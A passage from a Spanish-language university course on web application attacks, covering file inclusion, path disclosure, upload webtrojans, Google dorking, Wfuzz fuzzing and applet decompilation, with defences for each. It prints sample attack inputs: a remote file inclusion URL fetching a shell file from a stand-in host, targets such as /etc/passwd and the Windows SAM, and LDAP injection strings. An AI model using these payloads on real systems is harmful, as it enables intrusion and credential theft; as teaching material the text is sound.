CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 34: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

